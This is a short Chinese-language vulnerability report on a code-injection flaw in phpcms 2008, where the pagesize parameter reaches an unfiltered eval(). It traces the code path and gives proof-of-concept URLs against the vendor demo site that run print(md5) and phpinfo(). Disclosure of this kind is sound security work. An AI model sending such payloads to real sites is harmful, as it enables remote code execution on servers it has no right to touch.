简要描述:
phpcms2008的某参数可以进行代码注入。
详细说明:
phpcms 2008的代码中由于对模板参数处理不当,导致可以任意执行任意代码文件。
具体的代码触发路径是这样的: phpcms/yp/product.php中获取pagesize参数,拼接为$urlrule变量。随后将之带入yp目录下的product.html模板之中。在模板执行后,进入到get函数处理中,最后经过get->pages->pageurl函数,最终触发pageurl的如下代码:
eval("\$url = \"$urlrule\";");
在这里,将未过滤的$urlrule通过eval赋值。这里可以使用[url=mailto%7B@phpcode]${@phpcode[/url]}的语法执行php函数,最终造成漏洞。(进入最后pageurl逻辑前,有个要求是product数目必须超过0,所以没有测试数据的本地新搭建环境没法复现,必须加一些测试数据才行)
漏洞证明:
http://demo.phpcms.cn/yp/product.php?pagesize=${@print(md5(admin))} http://demo.phpcms.cn/yp/product.php?pagesize=${@phpinfo()}
|